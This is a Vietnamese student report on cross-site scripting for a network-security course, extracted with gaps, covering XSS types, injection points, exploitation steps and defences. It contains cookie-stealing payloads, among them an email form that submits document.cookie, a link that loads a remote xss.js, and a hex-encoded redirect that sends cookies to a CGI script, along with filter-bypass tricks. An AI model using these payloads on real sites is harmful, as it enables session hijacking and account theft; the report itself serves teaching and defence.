CƠ SỞ TP.HCM
1
HỌC VIỆN CÔNG NGHỆ BƢU CHÍNH VIỄN THÔNG AN NINH MẠNG
BÁO CÁO ĐỀ TÀI MÔN HỌC AN NINH MẠNG
KỸ THUẬT TẤN CÔNG XSS
Giảng viên hướng dẫn : ThS. LÊ PHÚC
Sinh viên thực hiện : TRẦN ĐÌNH NGỌC
MãSV: 407170045
Lớp : D07THM1
2
AN NINH MẠNG
Mục lục
I. GIỚI THIỆU CHUNG 4
II. GIỚI THIỆU VỀ XSS 5
1. Tìm hiểu XSS 5
2. Hai hình thức tồn tại của XSS 5
2.1. Stored XSS 5
2.2. Reflected XSS 6
3. Mức độ nguy hiểm của XSS 7
4. Mục tiêu mà XSS hƣớng tới. 8
III.HOẠT ĐỘNG CỦA XSS 9
4
AN NINH MẠNG
I. GIỚI THIỆU CHUNG
Website ngày nay rất phức tạp và thƣờng là các web động, nội dung của web
đƣợc cập nhật thông qua các thành viên tham gia ở khắp mọi nơi trên thế giới. Và
hầu hết các website này dùng Cookie để xác thực ngƣời dùng.
Điều này đồng nghĩa với việc Cookie của ai thì ngƣời đó dùng, Nếu lấy đƣợc
Cookie ngƣời dùng nào Hacker sẽ giả mạo đƣợc chính ngƣời dùng đó(điều này là hết
sức nguy hiểm). Vậy làm sao để các hacker có thể lấy cookie của bạn? Có rất nhiều
cách để các hacker làm việc đó, ở đây tôi xin trình bày một trong những cách mà
hacker thƣờng dùng, đó chính là họ nhờ vào lỗi Cross Site Scripting(XSS).
Cross-Site Scripting (XSS) là một trong những kĩ thuật tấn công phổ biến nhất
hiện nay, đồng thời nó cũng là một trong những vấn đề bảo mật quan trọng đối với
các nhà phát triển web và cả những ngƣời sử dụng web. Bất kì một website nào cho
phép ngƣời sử dụng đăng thông tin mà không có sự kiểm tra chặt chẽ các đoạn mã
nguy hiểm thì đều có thể tiềm ẩn các lỗi XSS.
XSS đƣợc thực hiện trên các thẻ JavaScript, và các thẻ JavaScript chúng có thể làm
đƣợc những công việc sau:
1. Thay đổi cấu trúc của toàn bộ trang web.
2. Tạo tùy ý các phần tử HTML.
3. Định tuyến lại các hình thức liên kết
qua một chức năng nào đó (vd: viết lời bình, guestbook, gởi bài ), để từ đó khi các
thành viên khác truy cập website sẽ bị dính mã độc từ kẻ tấn công này, các mã độc
này thƣờng đƣợc lƣu lại trong database của website chúng ta nên gọi là Stored.
Stored XSS phát sinh do chúng ta không lọc dữ liệu do thành viên gởi lên một cách
đúng đắn, khiến cho mã độc đƣợc lƣu vào Database của website.
6
AN NINH MẠNG
2.2. Reflected XSS
Trong hình thức này, kẻ tấn công thƣờng gắn thêm đoạn mã độc vào URL của
website chúng ta và gởi đến nạn nhân, nếu nạn nhân truy cập URL đó thì sẽ bị dính
mã độc. Điều này xảy ra do ta không chú ý filter input từ URL của website mình.
7
AN NINH MẠNG
Tấn công XSS là tấn công nguy hiểm, cho phép kẻ tấn công ăn cắp thông tin trên
máy nạn nhân thông qua javascript nhƣ ăn cắp cookie, chèn mã độc để chiến quyền
điều khiển…
XSS là một trong những lỗi phổ biến, có rất nhiều trang web bị mắc phải lỗi
này, chính vì thế ngày càng có nhiều ngƣời quan tâm đến lỗi này.
Gần đây, theo Brian Krebs của tờ Washington Post báo cáo rằng hàng ngàn trang web
không an toàn đã đƣợc xác định vào năm ngoái, và trang Xssed.com đưa ra danh sách
gần 13.000 trang trong đó có nhiều lỗ hổng cross-site scripting (XSS).
Ví dụ 1: Một đoạn url mà hacker chèn Script vào để lấy cookie của ngƣời dùng.
9
AN NINH MẠNG
III.HOẠT ĐỘNG CỦA XSS
XSS cho phép attacker chèn các đoạn mã vào link của đƣờng dẫn, để thực hiện
trên trình duyệt của ngƣời dùng, dẫn đến việc mất cookies, mật khẩu, session hay
chèn virus…
Thƣờng thì XSS có dạng nhƣ sau:
XSS”)</script>.
Và nội dung xuất hiện trên trình duyệt là một cái popup có thông tin là „Lỗi XSS‟.
Ở trên ví dụ 1 trên chỉ minh họa một cách đơn giản là thêm đoạn mã của mình vào
trang Web thông qua URL. Nhƣng thực sự thì có rất nhiều cách để thêm
đoạn mã JavaScript với mục đích tấn công kiểu XSS. Hacker có thể dễ dàng
lợi dụng Document Object Model (DOM) để thay đổi ngữ cảnh và nội dụng Web
ứng dụng.
Ví dụ 2: Sau đây là danh sách nơi có thể chèn đoạn mã:
<a href= "javascript#[code]">
<div onmouseover="[code]">
<img src="javascript:[code]">
<img dynsrc="javascript:[code]">
<input type="image" dynsrc="javascript:[code]">
<bgsound src="javascript:[code]">
&<script>[code]</script>
&{[code]};
<img src=&{[code]};>
<liên kết rel="stylesheet" href="javascript:[code]">
<iframe src="vbscript:[code]">
thay thế bằng một file nguồn trên một server khác thông qua thuộc tính src của thẻ
script. Cũng chính vì lẽ đó mà chúng ta chƣa thể lƣờng hết đƣợc độ nguy hiểm của
các lỗi XSS.
Nhƣng nếu nhƣ các kĩ thuật tấn công khác có thể làm thay đổi đƣợc dữ liệu
nguồn của web server (mã nguồn, cấu trúc, cơ sở dữ liệu) thì XSS chỉ gây tổn hại đối
11
AN NINH MẠNG
với website ở phía client mà nạn nhân trực tiếp là những ngƣời khách duyệt site đó.
Tất nhiên đôi khi các hacker cũng sử dụng kĩ thuật này đề deface các website nhƣng
đó vẫn chỉ tấn công vào bề mặt của website.
Thật vậy, XSS là những Client-Side Script, những đoạn mã này sẽ chỉ chạy bởi
trình duyệt phía client do đó XSS không làm ảnh hƣởng đến hệ thống website nằm
trên server.
Mục tiêu tấn công của XSS không ai khác chính là những ngƣời sử dụng khác
của website, khi họ vô tình vào các trang có chứa các đoạn mã nguy hiểm do các
hacker để lại họ có thể bị chuyển tới các website khác, đặt lại homepage, hay nặng
hơn là mất mật khẩu, mất cookie thậm chí máy tính bạn có thể sẽ bị cài các loại virus,
backdoor, worm
Trong kĩ thuật XSS thƣờng thì các link mà hacker dùng đều đã đƣợc mã hóa nên
ngƣới dùng khó mà phát hiện ra. Sau đây là cách mã hoá(HEX) các kí tự thƣờng
dùng trong lỗi XSS của thanh AddressBar của Browser. 12
AN NINH MẠNG
Ví dụ 3: Một địa chỉ đã đƣợc mã hóa HEX.
/>72%63%25%33%44%68%74%74%70%25%33%41%25%32%46%25%32%46%6A
13
AN NINH MẠNG
Content-Type: audio/x-wav;
name="filename.ext.ext"
Content-Transfer-Encoding: base64
Content-ID: <EA4DMGBP9p>
Đôi khi đang đọc thƣ bạn bị chuyển sang một website khác, bạn có nghĩ rằng
bạn có thể mất mật khẩu. Trƣớc đây, hàng loạt các hộp thƣ của Yahoo bị mất mật
khẩu hay bị đọc trộm thƣ mà không rõ nguyên nhân. Có lẽ khi đó các bạn mở các bức
thƣ mà không hề cảnh giác với XSS, đâu phải chỉ các file đính kèm mới có thể gây
nguy hiểm cho bạn. Chỉ cần với một đoạn mã HTML gửi trong thƣ bạn đã hoàn toàn
bị mất cookie của mình:
<form action=" method="post" name="XSS">
<input type="hidden" name="cookie">
</form>
<img border="0" onmouseover="window.document.XSS.cookie.value =
document.cookie; window.document.XSS.submit();" src="none.jpg">
Vậy là khi bạn nhận thƣ, và nếu bạn vô tình đƣa con chuột qua bức ảnh gửi kèm
thì cũng có nghĩa là bạn đã bị lấy mất cookie. Và với cookie lấy đƣợc, các hacker có
thể dễ dàng login hòm thƣ của bạn mà không cần biết mật khẩu của bạn. Thực sự tôi
cũng rất bất ngờ khi tìm thấy rằng Yahoo khi đó đã ngăn đƣợc hầu hết các mối đe
doạ từ các thẻ HTML lại bỏ qua thẻ IMG. Tuy nhiên cho tới ngày 12/7/2003 Yahoo
đã kịp thời vá lỗ hồng nghiêm trọng này, nhƣng không phải vì vậy mà bạn mất cảnh
giác với những "lỗi" của website. Nếu nhƣ bạn gặp một liên kết có dạng:
document.cookie)</script>
Script sẽ mở các kết nối tới website (sử dụng Perl's socket) để kiểm tra các lỗi XSS
của bạn. Hơn nữa bạn có thể sử dụng nó trong cả môi trƣờng Unix lẫn Windows.
Và chúng ta có thể đưa ra hai cách chính sau:
1. Sử dụng Tool
Sử dụng nhiều chƣơng trình dò quét lỗi của ứng dụng web, ví dụ nhƣ chƣơng
trình Web Vulnerability Scanner để dò quét lỗi XSS.
2. Thử bằng Code
Thực hiện 5 bƣớc:
Bước 1: Mở website cần kiểm tra
Bước 2: Xác định các chỗ (phần) cần kiểm tra XSS. 1 Site bất kỳ bao giờ cũng có
15
AN NINH MẠNG
các phần: Search, error message, web form. Chủ yếu lỗi XSS nằm ở phần này, nói
chung XSS có thể xảy ra ở chỗ nào mà ngƣời dùng có thể nhập dữ liệu vào và sau
đó nhận đƣợc một cái gì đó. Ví dụ chúng ta nhập vào chuỗi „XSS‟
Bước 3: Xác minh khả năng site có bị lỗi XSS hay không bằng cách xem các
thông tin trả về. Ví dụ chúng ta thấy thế này: „Không tìm thấy XSS…‟ , hay là
„Tài khoản XSS không chính xác‟, „Đăng nhập với XSS không thành công‟… thì
khi đó khả năng chỗ đó bị dính XSS là rất cao.
Bước 4: Khi đã xác định chỗ có khả năng bị dính lỗi XSS thì chúng ta sẽ chèn
những đoạn code của chúng ta vào để thử tiếp, ví dụ nhƣ sau:
Chèn đoạn code này: < script>alert('XSS')< /script> vào ô bị lỗi và nhấn nút
Submit, nếu chúng ta nhận đƣợc một popup có chữ „XSS‟ thì 100% bị dính XSS.
Ta có thể nhập vào form lỗi các thẻ sau:
<script>alert('CSS Vulnerable')</script>
<i*g csstest=javascript:alert('CSS Vulnerable')>
&{alert('CSS Vulnerable') };
<script>window.open( “ )</script>
<META HTTP-EQUIV="refresh"
Sau đây là các bƣớc khai thác XSS theo truyền thống:
17
AN NINH MẠNG 1.Tóm tắt các bước thực hiện
Bước 1: Hacker biết đƣợc ngƣời dùng đang sử dụng một ứng dụng Web có lỗ
hỏng XSS.
Bước 2: Ngƣời dùng nhận đƣợc 1 liên kết thông qua email hay trên chính trang Web
(nhƣ trên guestbook, banner dễ dàng thêm 1 liên kết do chính hacker tạo ra…).
Thông thƣờng hacker khiến ngƣời dùng chú ý bằng những câu kích thích sự tò mò của
ngƣời dùng nhƣ “ Kiểm tra tài khoản”, “Một phần thƣởng hấp dẫn đang chờ bạn”…
Bước 3: Chuyển nội dung thông tin (cookie, tên, mật khẩu…) về máy chủ
của hacker.
Bước 4: Hacker tạo một chƣơng trình cgi (ở ví dụ 3 này là steal.cgi) hoặc một
trang Web để ghi nhận những thông tin đã đánh cắp vào 1 tập tin
Bước 5: Sau khi nhận đƣợc thông tin cần thiết, hacker có thể sử dụng để thâm
nhập vào tài khoản của ngƣời dùng.
18
AN NINH MẠNG
2. Các cách thực hiện
Để hiểu rõ hơn về các tấn công XSS chúng ta xem xét ví dụ thực tế sau:
2.1. Nghiên cứu cách lấy cookies:
Thứ nhất: Bạn hãy tạo một file info.txt và upload lên host của bạn.
Thứ hai: Tạo file cookie.asp hoặc cookie.php có nội dung sau và upload file
header("location: http:// hostxss.com /");
?>
19
AN NINH MẠNG Thứ ba: Chúng ta để một link có lời giới thiệu hay thông báo gây chú ý (có
hostname là của trang web bị nhiễm XSS) . Khi đó tạo một link dạng nhƣ sau và
gửi mail hay up link lên trang web có nhiễm XSS: (sau hostname ta thêm thẻ Script
vào)
http:// hostxss.com /search.php?s="> <script
src%3Dhttp%3A%2F%2Fjsngoc.vnn.ms%2Fxss.js><%2Fscript>
Khi đó bên phía ngƣời dùng sẽ có một trang web giả mạo(face site): Ngƣời
dùng không phát hiện ra và khi đăng nhập thì cookie hay usename và password sẽ
đƣợc lƣu lại trong file info.txt trên server của hacker.
2.3. Tấn Công XSS Bằng Flash
Ngoài những cách đƣa một đoạn mã nguy hiểm thì hacker còn có thể lợi dụng
những tập tin flash để đánh cắp thông tin.
Macromedia Flash cho phép lập trình bằng một ngôn ngữ kịch bản đã đƣợc xây
dụng sẵn trong Flash là ActionScript. ActionScript có cú pháp đơn giản và tƣơng tự
nhƣ JavaScript, C hay PERL. Ví dụ hàm getURL() dùng để gọi một trang web
khác, tham số thƣờng là một URL chẳng hạn nhƣ “”.
các thành viên và cũng có thể là tài khoản của ngƣời quản trị web, bằng cách đăng
kí làm thành viên của ứng dụng Web này, gửi tập tin flash lên máy chủ và đợi các
nạn nhân xem tập tin flash đó. Dƣới đây là địa chỉ liên kết dến một tập tin flash nhƣ
đã trình bày trong ví dụ trên.
Ngoài ra các trang web cho phép thành viên gửi dữ liệu dạng HTML nhƣ diễn
đàn, các chức năng tạo chữ kí riêng, … cũng có thể là mục tiêu của cách tấn công
này, bằng cách nhập đoạn mã gọi tập tin flash vào.
<OBJECT classid="clsid:D27CDB6E-AE6D-11cf-96B8-
444553540000"
codebase=" />
21
AN NINH MẠNG
h/s
wflash.cab#version=6,0,0,0"
WIDTH="60"
HEIGHT="48"
id="1"
ALIGN="">
<PARAM NAME=movie
VALUE="_tan_cong.com/vidu.swf">
<PARAM NAME=quality VALUE=high>
<PARAM NAME=bgcolor VALUE=#FF9900>
<EMBED src=" _tan_cong.com/vidu.swf"
quality=high
bgcolor=#FF9900
WIDTH="60"
HEIGHT="48"
NAME="1"
ALIGN=""
4. Cách vượt qua cơ chế lọc ký tự
Nhiều coder khôn khéo lọc hết các kỹ tự đặc biệt nhƣ ' hay + để tránh các việc chèn
lệnh trên URL để tấn công SQL hay XSS nhƣng một attacker cao tay sẽ dễ dàng giải
quyết việc này bằng cách sử dụng mã hóa HEX thay thế để khai thác Hex Usage:
/>74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%
23
AN NINH MẠNG
3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63
%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%6
3%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%
65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72 %69%70%74%3e link site chuyển đổi sang số HEX:
hoặc
VII. PHÒNG CHỐNG XSS
Nhƣ đã đề cập ở trên, một tấn công XSS chỉ thực hiện đƣợc khi gửi một trang
web cho trình duyệt web của nạn nhân có kèm theo mã script độc của kẻ tấn công.
Ngƣời ta không lƣờng hết đƣợc mức độ nguy hiểm của XSS nhƣng cũng không
quá khó khăn để ngăn ngừa XSS. Có rất nhiều cách để có thể giải quyết vấn đề
này. OWASP (The Open Web Application Standard Project) nói rằng để có thể
xây dựng các website bảo mật cao đảm bảo những trang phát sinh động không
chứa các tag của script, đối với các dữ liệu của ngƣời sử dụng bạn nên làm những
nhiên việc mã hóa tất cả dữ liệu không đáng tin cậy có thể tốn tài nguyên và
ảnh hƣởng đến khả năng thực thi của một số máy chủ
Tuy nhiên trên thực tế, một số trƣờng hợp bạn phải chấp nhận mọi loại dữ liệu
hay không có một bộ lọc phù hợp. Chính vì vậy bạn phải có những cách riêng để
giải quyết.
Một trong những cách hay sử dụng là bạn mã hoá các kí tự đặc biệt trƣớc khi
in ra website, nhất là những gì có thể gây nguy hiểm cho ngƣời sử dụng. Trong
25
AN NINH MẠNG
trƣờng hợp này thẻ script sẽ đƣợc đổi thành script. Nhƣ vậy nó sẽ vẫn đƣợc in
ra màn hình mà không hề gây nguy hiểm cho ngƣời sử dụng.
Tôi lấy ví dụ với script search.cgi với mã nguồn là:
#!/usr/bin/perl
use CGI;
my $cgi = CGI->new();
my $query = $cgi->param('query');
print $cgi->header();
print "You entered $query";
Đây hoàn toàn là một script có lỗi bởi vì nó in ra trực tiếp dữ liệu đƣợc nhập
vào. Dĩ nhiên là khi in ra, nó sẽ in ra dƣới dạng đoạn mã HTML, nhƣ thế nó không
chỉ không in ra chính xác những dữ liệu vào một cách trực quan mà còn có tiềm ẩn
lỗi XSS.
Nhƣ đã nói ở trên, để có thể giải quyết vấn đề này, chúng ta có thể mã hoá các kí tự
đặc biệt của HTML với hàm HTML::Entities::encode(). Nhƣ vậy ta có thể có một
mã nguồn hoàn hảo hơn nhƣ sau:
#!/usr/bin/perl